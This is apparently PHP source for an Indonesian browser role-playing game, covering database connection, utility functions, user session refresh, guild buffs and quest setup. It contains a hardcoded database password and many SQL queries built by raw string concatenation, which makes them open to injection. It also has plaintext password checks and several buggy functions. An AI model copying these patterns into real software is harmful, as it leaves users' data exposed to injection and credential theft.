mysql_connect('localhost', 'kotagame_sf', 'PassKocok1212@') or die('Sedang maintenance, tunggu beberapa menit bro');
mysql_query('SET NAMES `utf8`');
mysql_select_db('kotagame_sf') or die('Maaf, ada kesalahan teknis atau maintenance dari server. Tunggu beberapa menit lagi.');
?>
session_start();
if(isset($_GET['exit']) && $_SERVER['PHP_SELF'] == '/index.php'){
session_destroy();
session_start();
}
date_default_timezone_set("Asia/Jakarta");
error_reporting(0);
include './inc/class/class.BBCode.php';
include './inc/class/class.Ability.php';
include './inc/class/class.Smith.php';
function _string($string) {
$string = trim($string);
$string = mysql_escape_string($string);
$string = htmlspecialchars($string);
return $string;
}
function strdef($string) {
$string = trim($string);
$string = mysql_escape_string($string);
$string = htmlspecialchars($string);
return $string;
}
function _num($i) {
$i = (int) abs($i);
return $i;
}
function n_f($i) {
if($i >= 99999 && $i < 1000000) {
$i = number_format($i, 0, '', '.');
$i = round($i,1).'K';
}
elseif($i >= 999999 && $i < 1000000000) {
$i = number_format($i, 0, '', '.');
$i = round($i,1).'M';
}
elseif($i >= 999999999 && $i < 1000000000000) {
$i = number_format($i, 0, '', '.');
$i = round($i,1).'B';
}
elseif($i >= 999999999999 && $i < 1000000000000000) {
$i = number_format($i, 0, '', '.');
$i = round($i,1).'T';
}
elseif($i >= 999999999999999 && $i < 1000000000000000000) {
$i = number_format($i, 0, '', '.');
$i = round($i,1).'Q';
}
elseif($i >= 999999999999999999) {
$i = number_format($i, 0, '', '.');
$i = round($i,1).'U';
}else{
$i = number_format($i, 0, '', '\'');
}
return $i;
}
function detect_browser(){
$iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");
$mobile = strpos($_SERVER['HTTP_USER_AGENT'],"Mobile");
$Silk = strpos($_SERVER['HTTP_USER_AGENT'],"Silk/");
$Kindle = strpos($_SERVER['HTTP_USER_AGENT'],"Kindle");
$operam = strpos($_SERVER['HTTP_USER_AGENT'],"Opera Mini");
$operai = strpos($_SERVER['HTTP_USER_AGENT'],"Opera Mini");
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");
$wind = strpos($_SERVER['HTTP_USER_AGENT'],"windows");
$bsd1 = strpos($_SERVER['HTTP_USER_AGENT'],"bsd");
$lin = strpos($_SERVER['HTTP_USER_AGENT'],"linux");
$unix = strpos($_SERVER['HTTP_USER_AGENT'],"unix");
$x11 = strpos($_SERVER['HTTP_USER_AGENT'],"x11");
$macos = strpos($_SERVER['HTTP_USER_AGENT'],"macos");
$macintosh = strpos($_SERVER['HTTP_USER_AGENT'],"macintosh");
if($iphone || $mobile || $Silk || $Kindle || $operam || $operai || $android || $palmpre || $ipod || $berry) $browser = 'mobile';
else $browser = 'pc';
return $browser;
}
function pages($path) {
global $page, $pages;
if(($page - 2) > 0) echo ' << ';
else echo '<<';
if($page - 1 > 0) echo ' < ';
else echo ' < ';
if($page == $pages && $page - 4 > 0) echo ' '.($page - 4).' ';
if($page == $pages && $page - 3 > 0) echo ' '.($page - 3).' ';
if($page - 2 > 0) echo ' '.($page - 2).' ';
if($page - 1 > 0) echo ' '.($page - 1).' ';
echo $page;
if($page + 1 <= $pages) echo ' '.($page + 1).' ';
if($page + 2 <= $pages) {
echo ' '.($page + 2).' ';
}
if($page == 1 && $page + 3 <= $pages) {
echo ' '.($page + 3).' ';
}
if($page == 1 && $page + 4 <= $pages) {
echo ' '.($page + 4).' ';
}
if($page + 1 <= $pages) {
echo ' > ';
}
else
{
echo ' > ';
}
if(($page + 2) <= $pages) {
echo ' >> ';
}
else
{
echo ' >> ';
}
}
function smiles($string) {
$string = str_replace(array('O:-)','o:-)'),'
', $string);
$string = str_replace(array(']:-)',']:-]'),'
', $string);
$string = str_replace(array(':$',':-$',':-['),'
', $string);
$string = str_replace(array(':))',':-))','-))','=))'),'
', $string);
$string = str_replace(array(':)',':-)','=)'),'
', $string);
$string = str_replace(array(';)',';-)'),'
', $string);
$string = str_replace(array(':-P',':-p',':-Р',':-р',':P',':p'),'
', $string);
$string = str_replace(array(':(',':-('),'
', $string);
$string = str_replace(array(':\'(',':\'-('),'
', $string);
$string = str_replace(array(':]',':-]'),'
', $string);
$string = str_replace(array(':-/',':-\\'),'
', $string);
$string = str_replace(array('8-)','%-)'),'
', $string);
$string = str_replace(array(':*',':-*'),'
', $string);
$string = str_replace(array('%)','%-)'),'
', $string);
$string = str_replace(array(':-o',':-O',':-о',':-О','O.o','О.о','O_o','o_O'),'
', $string);
$string = str_replace(array('O^','o^'),'
', $string);
$string = str_replace(array(':Ob',':ob'),'
', $string);
$string = str_replace(array('6-(','%-E',':gigi'),'
', $string);
$string = str_replace(array(':bravo',':браво'),'
', $string);
$string = str_replace(array(':heart',':сердце'),'
', $string);
$string = str_replace(array(':fig',':фиг'),'
', $string);
$string = str_replace(array(':rose',':роза','@--'),'
', $string);
$string = str_replace(array(':krut',':крут'),'
', $string);
$string = str_replace(array('dOOb','doob','d00b'),'
', $string);
return $string;
}
function _time($i) {
$h = floor(($i / 3600) - $d * 24);
$m = floor(($i - $h * 3600 - $d * 86400) / 60);
$s = $i - ($m * 60 + $h * 3600 + $d * 86400);
return ($h > 0 ? ($h < 0 ? '0':'').$h.':':'').($m > 0 ? ($m < 10 ? '0':'').$m.':':'00:').($s > 0 ? ($s < 10 ? '0':'').$s:'00');
}
function _times($i) {
$d = floor($i / 86400);
$h = floor(($i / 3600) - $d * 24);
$m = floor(($i - $h * 3600 - $d * 86400) / 60);
$s = $i - ($m * 60 + $h * 3600 + $d * 86400);
if($d > 0) {
$result = $d.' hari';
}
elseif($h > 0)
{
$result = $h.' jam';
}elseif($m > 0)
{
$result = $m.' menit';
}elseif($s >= 0)
{
$result = $s.' detik';
}
return $result.' sebelum';
}
function timechat($i) {
$d = floor($i / 86400);
$h = floor(($i / 3600) - $d * 24);
$m = floor(($i - $h * 3600 - $d * 86400) / 60);
$s = $i - ($m * 60 + $h * 3600 + $d * 86400);
if($d > 0) {$result = $d.' hari';}
elseif($h > 0){$result = $h.' j';}
elseif($m > 0){$result = $m.' men';}
elseif($s >= 0){$result = $s.' det';}
return $result;
}
function time_event($i) {
$d = floor($i / 86400);
$h = floor(($i / 3600) - $d * 24);
$m = floor(($i - $h * 3600 - $d * 86400) / 60);
$s = $i - ($m * 60 + $h * 3600 + $d * 86400);
if($d > 0) {$result = $d.' hari';}
elseif($h > 0){$result = $h.' jam';}
elseif($m > 0){$result = $m.' menit';}
elseif($s >= 0){$result = $s.' detik';}
return $result;
}
function timedetail($i) {
$d = floor($i / 86400);
$h = floor(($i / 3600) - $d * 24);
$m = floor(($i - $h * 3600 - $d * 86400) / 60);
$s = $i - ($m * 60 + $h * 3600 + $d * 86400);
if($d > 0) {$result = $d.' hari '.$h.' j';;}
elseif($h > 0){$result = $h.' j '.$m.' men';}
elseif($m > 0){$result = $m.' men '.$s.' det';}
elseif($s >= 0){$result = $s.' det';}
return $result;
}
function vremja($i) {
$d = floor($i / 86400);
$h = floor(($i / 3600) - $d * 24);
$m = floor(($i - $h * 3600 - $d * 86400) / 60);
$s = $i - ($m * 60 + $h * 3600 + $d * 86400);
if($d > 0) {
$result = $d.' hari';
}
elseif($h > 0)
{
$result = $h.' jam';
}elseif($m > 0)
{
$result = $m.' menit';
}elseif($s >= 0)
{
$result = $s.' detik';
}
return $result.'';
}
$bulan = array('NULL','Januari','Februari','Maret','April','Mei','Juni','Juli','Agustus','September','Oktober','November','Desember');
$name_month = array('NULL','Januari','Februari','Maret','April','Mei','Juni','Juli','Agustus','September','Oktober','November','Desember');
function qname($nomornya)
{
switch ($nomornya) {
default : $name = 'Common';break;
case '1' : $name = 'Common';break;
case '2' : $name = 'Uncommon';break;
case '3' : $name = 'Rare';break;
case '4' : $name = 'Epic';break;
case '5' : $name = 'Legendary';break;
case '6' : $name = 'Mythical';break;
case '7' : $name = 'Mythical';break;
}
return $name;
}
function stat_type($nomornya)
{
switch($nomornya) {
case 1:$rune_stat ='atk'; break;
case 2:$rune_stat ='vit'; break;
case 3:$rune_stat ='def'; break;
case 4:$rune_stat ='agi'; break;
case 5:$rune_stat ='atk'; break;
case 6:$rune_stat ='atk'; break;
case 7:$rune_stat ='def'; break;
case 8:$rune_stat ='vit'; break;
}
return $rune_stat;
}
function statname($nomornya)
{
switch($nomornya) {
case 1:$rune_stat ='kekuatan'; break;
case 2:$rune_stat ='kesehatan'; break;
case 3:$rune_stat ='perlindungan'; break;
case 4:$rune_stat ='kecepatan'; break;
case 5:$rune_stat ='kekuatan'; break;
case 6:$rune_stat ='kekuatan'; break;
case 7:$rune_stat ='perlindungan'; break;
case 8:$rune_stat ='kesehatan'; break;
}
return $rune_stat;
}
function runestats($nomornya)
{
switch($nomornya) {
case 1:$rune_stats ='75'; break;
case 2:$rune_stats ='150'; break;
case 3:$rune_stats ='250'; break;
case 4:$rune_stats ='600'; break;
case 5:$rune_stats ='1000'; break;
case 6:$rune_stats ='2000'; break;
}
return $rune_stats;
}
function qbonus($nomornya)
{
switch ($nomornya) {
default : $bonus = '0';break;
case '1' : $bonus = '5';break;
case '2' : $bonus = '10';break;
case '3' : $bonus = '20';break;
case '4' : $bonus = '25';break;
case '5' : $bonus = '50';break;
case '6' : $bonus = '75';break;
case '7' : $bonus = '100';break;
}
return $bonus;
}
function wname($w)
{
switch($w) {
case 1:
$w_name = 'Kepala';
break;
case 2:
$w_name = 'Pundak';
break;
case 3:
$w_name = 'Badan';
break;
case 4:
$w_name = 'Sarung tangan';
break;
case 5:
$w_name = 'Tangan kiri';
break;
case 6:
$w_name = 'Tangan kanan';
break;
case 7:
$w_name = 'Kaki';
break;
case 8:
$w_name = 'Sepatu';
break;
}
return $w_name;
}
function ability_name($nomornya)
{
switch($nomornya) {
case 1:$nameX ='Deril Amarah'; break;
case 2:$nameX ='22'; break;
case 3:$nameX ='33'; break;
case 4:$nameX ='44'; break;
case 5:$nameX ='55'; break;
case 6:$nameX ='66'; break;
}
return $nameX;
}
function ability_1_bonus($thenum){
switch($thenum) {
case 0:$a_1_bonus = 25;break;
case 1:$a_1_bonus = 25;break;
case 2:$a_1_bonus = 30;break;
case 3:$a_1_bonus = 35;break;
case 4:$a_1_bonus = 40;break;
case 5:$a_1_bonus = 45;break;
case 6:$a_1_bonus = 45;break;
case 7:$a_1_bonus = 50;break;
case 8:$a_1_bonus = 55;break;
case 9:$a_1_bonus = 60;break;
case 10:$a_1_bonus = 65;break;
case 11:$a_1_bonus = 65;break;
case 12:$a_1_bonus = 70;break;
case 13:$a_1_bonus = 75;break;
case 14:$a_1_bonus = 80;break;
case 15:$a_1_bonus = 85;break;
case 16:$a_1_bonus = 85;break;
case 17:$a_1_bonus = 90;break;
case 18:$a_1_bonus = 95;break;
case 19:$a_1_bonus = 100;break;
case 20:$a_1_bonus = 105;break;
case 21:$a_1_bonus = 105;break;
case 22:$a_1_bonus = 145;break;
case 23:$a_1_bonus = 165;break;
case 24:$a_1_bonus = 165;break;
}
return $a_1_bonus;
}
function ability_1_chanse($thenum){
switch($thenum) {
case 0:$a_1_chanse = 5;break;
case 1:$a_1_chanse = 5;break;
case 2:$a_1_chanse = 5;break;
case 3:$a_1_chanse = 5;break;
case 4:$a_1_chanse = 5;break;
case 5:$a_1_chanse = 5;break;
case 6:$a_1_chanse = 8;break;
case 7:$a_1_chanse = 8;break;
case 8:$a_1_chanse = 8;break;
case 9:$a_1_chanse = 8;break;
case 10:$a_1_chanse = 8;break;
case 11:$a_1_chanse = 11;break;
case 12:$a_1_chanse = 11;break;
case 13:$a_1_chanse = 11;break;
case 14:$a_1_chanse = 11;break;
case 15:$a_1_chanse = 11;break;
case 16:$a_1_chanse = 14;break;
case 17:$a_1_chanse = 14;break;
case 18:$a_1_chanse = 14;break;
case 19:$a_1_chanse = 14;break;
case 20:$a_1_chanse = 14;break;
case 21:$a_1_chanse = 17;break;
case 22:$a_1_chanse = 20;break;
case 23:$a_1_chanse = 23;break;
case 24:$a_1_chanse = 23;break;
}
return $a_1_chanse;
}
function add_gjournal($GuildID,$TheText){
include 'mysql.php';
mysql_query("INSERT INTO `guild_journal` SET `guild` = '".$GuildID."', `text` = '".$TheText."', `time` = '".time()."'") or die(mysql_error());
}
function add_gchat($GuildID,$As_User,$TheTextz){
include 'mysql.php';
mysql_query("INSERT INTO `guild_chat` SET `guild` = '".$GuildID."', `text` = '".$TheTextz."', `user` = '".$As_User."', `time` = '".time()."'");
}
function guild_rank($rank_num){
switch($rank_num) {
case 0:$rank = 'Rekrut';break;
case 1:$rank = 'Prajurit';break;
case 2:$rank = 'Letnan';break;
case 3:$rank = 'Jendral';break;
case 4:$rank = 'Wakil pemimpin';break;
case 5:$rank = 'Pemimpin guild';break;
}
return $rank;
}
function NameBot(){
$array = array('q','w','r','t','p','s','d','f','g','h','j','k','l','z','x','c','v','b','n','m');
$array2 = array('e','y','u','i','o','a');
$strlen = rand(5,6);
$name = '';
for($i = 1; $i <= $strlen; $i ++) {
if ($i == 1) {
$key = array_rand($array);
$name .= $array[$key];
}
elseif ($i == 2) {
$key = array_rand($array2);
$name .= $array2[$key];
}
elseif ($i <= 3) {
$key = array_rand($array);
$name .= $array[$key];
}
else
{
$key = array_rand($array);
$name .= $array[$key];
}
}
$name = mb_convert_case($name, MB_CASE_TITLE, "UTF-8");
return $name;
}
function err_page($Farhan_Tamvan_Ea)
{
echo "
";
echo '
Error 404: Page not found
Sayangnya, dokumen yang diminta tidak ditemukan di server.
Biasanya terjadi karena alasan berikut:
- Tautan rusak diklik;
- Memasukkan URL tidak valid.
';
}
function errpage($Farhan_Tamvan_Ea)
{
include 'mysql.php';
$aman = mysql_query('SELECT * FROM `users` WHERE `id` = "'.$Farhan_Tamvan_Ea.'"');
$user = mysql_fetch_array($aman);
$err_page = 'MicinEa :v';
include 'head.php';
echo "
";
echo '
Error 404: Page not found
Sayangnya, dokumen yang diminta tidak ditemukan di server.
Biasanya terjadi karena alasan berikut:
- Tautan rusak diklik;
- Memasukkan URL tidak valid.
';
include 'foot.php';
exit;
}
function msg($content,$type){
switch($type){
case 'ok':echo "
".$content."
";break;
case 'error':echo "
".$content."
";break;
case 'gold':
echo "Kamu perlu lebih banyak emas!
".$content." emas ";
break;
}
}
function classconv($isinya){
switch ($isinya) {
case '0':$hasil='w';break;
case '1': $hasil='t';break;
}
return $hasil;
}
function randforimg($ManaSaiaTaw){
$r1 = rand(1000000000,9999999999);
$r2 = rand(1000000000,9999999999);
$r3 = rand(1000000000,9999999999);
$max_limit=12;
$a=mt_rand()*$max_limit*$max_limit + mt_rand()*$max_limit + mt_rand();
$b=substr($a,-10);
return $b;
}
function starimage($stinger){
if($stinger > 0 && $stinger < 2) $image1 = "
";
if($stinger > 1 && $stinger < 3) $image2 = "
";
if($stinger > 2 && $stinger < 4) $image3 = "
";
if($stinger > 3 && $stinger < 5) $image4 = "
";
if($stinger == 5) $image5 = "
";
$jadisatu = $image1.$image2.$image3.$image4.$image5;
return $jadisatu;
}
function medal_goal_name($MedalNya){
switch($MedalNya){
case '0':$name='Medali prajurit';break;
}
return $name;
}
function SendMailGame($from,$to,$content){
include 'mysql.php';
mysql_query('INSERT INTO `mail` (`from`,
`to`,
`text`,
`time`) VALUES (\''.$from.'\',
\''.$to.'\',
\''.$content.'\',
\''.time().'\')');
if(mysql_result(mysql_query('SELECT COUNT(*) FROM `contacts` WHERE `user` = \''.$from.'\' AND `ho` = \''.$to.'\''),0) == 0) {
mysql_query('INSERT INTO `contacts` (`user`,
`ho`,
`time`) VALUES (\''.$from.'\',
\''.$to.'\',
\''.time().'\')');
}
if(mysql_result(mysql_query('SELECT COUNT(*) FROM `contacts` WHERE `ho` = "'.$from.'" AND `user` = "'.$to.'"'),0) == 0) {
mysql_query('INSERT INTO `contacts` (`ho`,
`user`,
`time`) VALUES (\''.$from.'\',
\''.$to.'\',
\''.time().'\')');
}
mysql_query('UPDATE `contacts` SET `time` = \''.time().'\' WHERE `user` = \''.$from.'\' AND `ho` = \''.$to.'\'');
mysql_query('UPDATE `contacts` SET `time` = \''.time().'\' WHERE `ho` = \''.$from.'\' AND `user` = \''.$to.'\'');
}
function user_name($id_user,$type){
###### SETTING #######
# 0 - No Link & No Not Here Detection
# 1 - No Link but Contain Not Here Detection
# 2 - With Link but No Not Here Detection
# 3 - Link & Not Here Detection
# 4 - No Online and More
# 5 - No Online and With Link
######################
include './include/mysql.php';
$slct_usr = mysql_fetch_array(mysql_query('SELECT * FROM `users` WHERE `id` = "'.$id_user.'" LIMIT 1'));
if($type!='4') $race = "
time() - 1200 ? '':'-off').".png' alt=''>";
else {$race = "
";}
if($type!='6') {$space= " ";}
if($type=='2' OR $type=='3' OR $type=='5') $link1 = "";
$name = $slct_usr['name'];
if($type=='2' OR $type=='3' OR $type=='5') $link2 = "";
if($type=='1' OR $type=='3' OR $type=='6'){
if($slct_usr['online'] < (time() - 600) && $slct_usr['online'] > (time() - 1200)) $nhd = "'";
}
$result = $race.$space.$link1.$name.$link2.$nhd;
return $result;
}
function alert_kg($username){
}
function GetMyKI($username){
}
function kg_query($wtswt){
}
function id_random(){
$ABJ = array('A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z');
if(rand(1,10)<5) $n1 = $ABJ[rand(0,26)]; else $n1 = rand(0,9);
if(rand(1,10)<5) $n2 = $ABJ[rand(0,26)]; else $n2 = rand(0,9);
if(rand(1,10)<5) $n3 = $ABJ[rand(0,26)]; else $n3 = rand(0,9);
if(rand(1,10)<5) $n4 = $ABJ[rand(0,26)]; else $n4 = rand(0,9);
if(rand(1,10)<5) $n5 = $ABJ[rand(0,26)]; else $n5 = rand(0,9);
if(rand(1,10)<5) $n6 = $ABJ[rand(0,26)]; else $n6 = rand(0,9);
if(rand(1,10)<5) $n7 = $ABJ[rand(0,26)]; else $n7 = rand(0,9);
if(rand(1,10)<5) $n8 = $ABJ[rand(0,26)]; else $n8 = rand(0,9);
if(rand(1,10)<5) $n9 = $ABJ[rand(0,26)]; else $n9 = rand(0,9);
if(rand(1,10)<5) $n10 = $ABJ[rand(0,26)]; else $n10 = rand(0,9);
if(rand(1,10)<5) $n11 = $ABJ[rand(0,26)]; else $n11 = rand(0,9);
if(rand(1,10)<5) $n12 = $ABJ[rand(0,26)]; else $n12 = rand(0,9);
if(rand(1,10)<5) $n13 = $ABJ[rand(0,26)]; else $n13 = rand(0,9);
if(rand(1,10)<5) $n14 = $ABJ[rand(0,26)]; else $n14 = rand(0,9);
if(rand(1,10)<5) $n15 = $ABJ[rand(0,26)]; else $n15 = rand(0,9);
if(rand(1,10)<5) $n16 = $ABJ[rand(0,26)]; else $n16 = rand(0,9);
if(rand(1,10)<5) $n17 = $ABJ[rand(0,26)]; else $n17 = rand(0,9);
if(rand(1,10)<5) $n18 = $ABJ[rand(0,26)]; else $n18 = rand(0,9);
if(rand(1,10)<5) $n19 = $ABJ[rand(0,26)]; else $n19 = rand(0,9);
if(rand(1,10)<5) $n20 = $ABJ[rand(0,26)]; else $n20 = rand(0,9);
return $n1.$n2.$n3.$n4.$n5.$n6.$n7.$n8.$n9.$n10.$n11.$n12.$n13.$n14.$n15.$n16.$n17.$n18.$n19.$n20;
}
function quest($quest_id,$user_id,$added){
include 'mysql.php';
$pu = mysql_query('SELECT * FROM `quest_user` WHERE `quest` = "'.$quest_id.'" AND `user` ="'.$user_id.'"');
$myquest = mysql_fetch_array($pu);
if($myquest['time'] >= time() OR $myquest['time'] == '0'){
mysql_query('UPDATE `quest_user` SET `count` = `count`+"'.$added.'" WHERE `quest` = "'.$quest_id.'" AND `user` = "'.$user_id.'"') or die(mysql_error());
}
}
function limit_bag($ikuopo){
$limite = '40';
return $limite;
}
require 'functions/fights.php';
?>
if(!$_SESSION['refresh']){
$_SESSION['refresh'] = rand(10000000,99999999);
}
$id = _string(_num($_SESSION['id']));
$password = _string($_SESSION['password']);
$_secure001 = $id;
$_secure002 = $password;
if($id && $password) {
$q = mysql_query('SELECT * FROM `users` WHERE `id` = "'.$_secure001.'" AND `password` = "'.$_secure002.'"');
$user = mysql_fetch_array($q);
if(!$user) session_destroy();
if(!$_SESSION['SpecialIPForAdmin']) $_SESSION['SpecialIPForAdmin'] = '192.168.0.'.rand(1,255);
if($user){
$self = $_SERVER['PHP_SELF'];
mysql_query('UPDATE `users` SET `online` = "'.time().'",
`ip` = "'.($user['access'] == '2' ? $_SESSION['SpecialIPForAdmin']:$_SERVER['REMOTE_ADDR']).'",
`ua` = "'.$_SERVER['HTTP_USER_AGENT'].'",
`self` = "'.$self.'" WHERE `id` = "'.$user['id'].'"') or die(mysql_error());
}
include './lang/id.php';
$_time = 2;
$_time_ex = 3600;
// Program to display current page URL.
$linkZZZ = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ?
"https" : "http") . "://" . $_SERVER['HTTP_HOST'] .
$_SERVER['REQUEST_URI'];
$q = mysql_query('SELECT * FROM `log_history` WHERE `url` = "'.$linkZZZ.'"');
$UwU = mysql_fetch_array($q);
if(!$UwU){
mysql_query('INSERT INTO `log_history` (`url`,`user`) VALUES ("'.$linkZZZ.'","'.$user['id'].'")');
}
if($user['last_update'] < (time() - $_time)){
mysql_query('UPDATE `users` SET `last_update` = "'.time().'" WHERE `id` = "'.$user['id'].'"');
}
if((time()-$user['exchange_time']) > $_time_ex) {
mysql_query('UPDATE `users` SET `exchange_time` = "'.time().'" WHERE `id` = "'.$user['id'].'"');
if($user['exchange'] > 0) {
$_ex = (((time()-$user['exchange_time']) / $_time_ex));
if($_ex < 0) $_ex = 0;
elseif($_ex > $user['exchange']) $_ex = $user['exchange'];
mysql_query('UPDATE `users` SET `exchange` = `exchange` - "'.($_ex).'" WHERE `id` = "'.$user['id'].'"');
}
}
if((time() - $user['last_update']) > $_time) {
mysql_query('UPDATE `users` SET `last_update` = "'.time().'" WHERE `id` = "'.$user['id'].'"');
$hp = $user['vit'] * 2;
$_bonusfromsf2 = rand(1,5);
if($user['hp'] < $hp) {
$_hp = (((time() - $user['last_update']) / $_time) - 1 );
if($_hp > $hp) {
$_hp = $hp - $user['hp'];
}
mysql_query('UPDATE `users` SET `hp` = "'.($user['hp'] + $_hp + $_bonusfromsf2 ).'" WHERE `id` = "'.$user['id'].'"');
}
if($user['mp'] < $user['mana']) {
$_mp = (((time() - $user['last_update']) / $_time) - 1 );
if($_mp > $user['mana']) {
$_mp = $user['mana'] - $user['mp'];
}
mysql_query('UPDATE `users` SET `mp` = "'.($user['mp'] +$_mp ).'" WHERE `id` = "'.$user['id'].'"');
}
}
for ($i=0; $i <= 10; $i++) {
if($user['last_update'] - $user['duel_last_update'] > (60 * 120)) {
mysql_query('UPDATE `users` SET `duel_last_update` = "'.($user['duel_last_update'] + (60 * 120)).'",
`duel_fights` = "'.($user['duel_fights'] + (($user['duel_fights'] < 10) ? 1:0)).'" WHERE `id` = "'.$user['id'].'"');
$q = mysql_query('SELECT * FROM `users` WHERE `id` = "'.$_secure001.'" AND `password` = "'.$_secure002.'"');
$user = mysql_fetch_array($q);
if($user['duel_fight'] == 10) {
mysql_query('UPDATE `users` SET `duel_last_update` = "'.time().'" WHERE `id` = "'.$user['id'].'"');
}
}
if($user['last_update'] - $user['duel_change_update'] > (60 * 30)) {
mysql_query('UPDATE `users` SET `duel_change_update` = "'.($user['duel_change_update'] + (60 * 30)).'",
`duel_changes` = "'.($user['duel_changes'] + (($user['duel_changes'] < 5) ? 1:0)).'" WHERE `id` = "'.$user['id'].'"');
$q = mysql_query('SELECT * FROM `users` WHERE `id` = "'.$_secure001.'" AND `password` = "'.$_secure002.'"');
$user = mysql_fetch_array($q);
if($user['duel_changes'] == 10) {
mysql_query('UPDATE `users` SET `duel_change_update` = "'.time().'" WHERE `id` = "'.$user['id'].'"');
}
}
}
if($user['hp'] > $user['vit'] * 2) {
mysql_query('UPDATE `users` SET `hp` = "'.($user['vit'] * 2).'" WHERE `id` = "'.$user['id'].'"');
}
if($user['hp'] < 0) {
mysql_query('UPDATE `users` SET `hp` = "0" WHERE `id` = "'.$user['id'].'"');
}
if($user['mp'] > $user['mana']) {
mysql_query('UPDATE `users` SET `mp` = "'.$user['mana'].'" WHERE `id` = "'.$user['id'].'"');
}
if($user['mp'] < 0) {
mysql_query('UPDATE `users` SET `mp` = "0" WHERE `id` = "'.$user['id'].'"');
}
$kairo = mysql_query('SELECT * FROM `duel` WHERE `user` = "'.$user['id'].'"');
$duel_system = mysql_fetch_array($kairo);
if ($duel_system['reward_time'] <= time() && $duel_system['reward_time'] > '0') {
mysql_query('UPDATE `duel` SET `reward_time` = "0" WHERE `id` = "'.$duel_system['id'].'"');
mysql_query('UPDATE `users` SET `duel_trophy` = "0" WHERE `id` = "'.$duel_system['user'].'"');
}
$guild_memb = mysql_query('SELECT * FROM `guild_memb` WHERE `user` = "'.$user['id'].'"');
$guild_memb = mysql_fetch_array($guild_memb);
function guild_buff($i) {
switch($i) {
case 0:
$buff = 0;
break;
case 1:
$buff = 4;
break;
case 2:
$buff = 8;
break;
case 3:
$buff = 12;
break;
case 4:
$buff = 24;
break;
case 5:
$buff = 28;
break;
case 6:
$buff = 32;
break;
case 7:
$buff = 36;
break;
case 8:
$buff = 48;
break;
case 9:
$buff = 52;
break;
case 10:
$buff = 56;
break;
case 11:
$buff = 60;
break;
case 12:
$buff = 72;
break;
case 13:
$buff = 76;
break;
case 14:
$buff = 80;
break;
case 15:
$buff = 84;
break;
case 16:
$buff = 96;
break;
case 17:
$buff = 100;
break;
case 18:
$buff = 104;
break;
case 19:
$buff = 108;
break;
case 20:
$buff = 120;
break;
case 21:
$buff = 124;
break;
case 22:
$buff = 128;
break;
case 23:
$buff = 132;
break;
case 24:
$buff = 144;
break;
case 25:
$buff = 148;
break;
case 26:
$buff = 152;
break;
case 27:
$buff = 156;
break;
case 28:
$buff = 168;
break;
case 29:
$buff = 172;
break;
case 30:
$buff = 176;
break;
case 31:
$buff = 180;
break;
case 32:
$buff = 192;
break;
case 33:
$buff = 196;
break;
case 34:
$buff = 200;
break;
case 25:
$buff = 200;
break;
}
return $buff;
}
if (date('G') == '21' OR date('G') == '22' OR date('G') == '23' OR date('G') == '0' OR date('G') == '1') {
$qq = mysql_query('SELECT * FROM `guild_memb`');
while ($detail = mysql_fetch_array($qq)) {
mysql_query('UPDATE `guild_memb` SET `exp_today` = "0" WHERE `id` = "'.$detail['id'].'"');
}
}
if($guild_memb) {
$guild = mysql_fetch_array(mysql_query('SELECT * FROM `guilds` WHERE `id` = "'.$guild_memb['guild'].'"'));
if($guild_memb['last_update'] <= time()) {
if($guild_memb['bonus'] < 120) $addbonus = 3;
else $addbonus = 0;
mysql_query('UPDATE `guild_memb` SET `last_update` = "'.($guild_memb['last_update'] + ((60*60)*24)).'",
`bonus` = `bonus` + "'.$addbonus.'" WHERE `id` = "'.$guild_memb['id'].'"');
}
$guild_buff = guild_buff($guild['built']);
if($guild['built_d_time'] != 0) {
if($guild['built_d_time'] < time()) {
mysql_query('UPDATE `guilds` SET `built_d_time` = 0 WHERE `id` = \''.$guild['id'].'\'');
while ($yayeyo = mysql_fetch_array($wawewo)) {
mysql_query('UPDATE `users` SET `atk` = `atk` - '.guild_buff($guild['built']).',
`vit` = `vit` - '.guild_buff($guild['built']).',
`agi` = `agi` - '.guild_buff($guild['built']).',
`def` = `def` - '.guild_buff($guild['built']).' WHERE `id` = "'.$yayeyo['user'].'"');
}
}else{
}
}
if($guild['built_g_time'] != 0) {
if($guild['built_g_time'] < time()) {
mysql_query('UPDATE `guilds` SET `built_g_time` = 0 WHERE `id` = \''.$guild['id'].'\'');
while ($xaxexo = mysql_fetch_array($wawewo)) {
mysql_query('UPDATE `users` SET `atk` = `atk` - '.guild_buff($guild['built']).',
`vit` = `vit` - '.guild_buff($guild['built']).',
`agi` = `agi` - '.guild_buff($guild['built']).',
`def` = `def` - '.guild_buff($guild['built']).' WHERE `id` = "'.$xaxexo['user'].'"');
}
}else{
}
}
if($guild['built_s_time'] != 0) {
if($guild['built_s_time'] < time()) {
mysql_query('UPDATE `guilds` SET `built_s_time` = 0 WHERE `id` = \''.$guild['id'].'\'');
while ($yayeyo = mysql_fetch_array($wawewo)) {
mysql_query('UPDATE `users` SET `atk` = `atk` - '.guild_buff($guild['built']).',
`vit` = `vit` - '.guild_buff($guild['built']).',
`agi` = `agi` - '.guild_buff($guild['built']).',
`def` = `def` - '.guild_buff($guild['built']).' WHERE `id` = "'.$yayeyo['user'].'"');
}
}else{
}
}
}
$rd2018 = mysql_fetch_array(mysql_query('SELECT * FROM `event_ramadhan2018` WHERE `user` = "'.$user['id'].'"'));
if(!$rd2018) {
mysql_query('INSERT INTO `event_ramadhan2018` (`user`) VALUES ("'.$user['id'].'")');
$rd2018 = mysql_fetch_array(mysql_query('SELECT * FROM `event_ramadhan2018` WHERE `user` = "'.$user['id'].'"'));
}
#############################
# WAITING FOR THE END TO COME
# Farhan Brillan
# Task - Quest System
$qt = mysql_query('SELECT * FROM `quest` WHERE `start_level` <= "'.$user['level'].'" AND `end_level` >= "'.$user['level'].'" ORDER BY `id` ASC');
while ($row = mysql_fetch_array($qt)){
$pu = mysql_query('SELECT * FROM `quest_user` WHERE `quest` = "'.$row['id'].'" AND `user` = "'.$user['id'].'"');
$qu = mysql_fetch_array($pu);
if(!$qu) mysql_query('INSERT INTO `quest_user` (`user`,`quest`) VALUES ("'.$user['id'].'","'.$row['id'].'")');
}
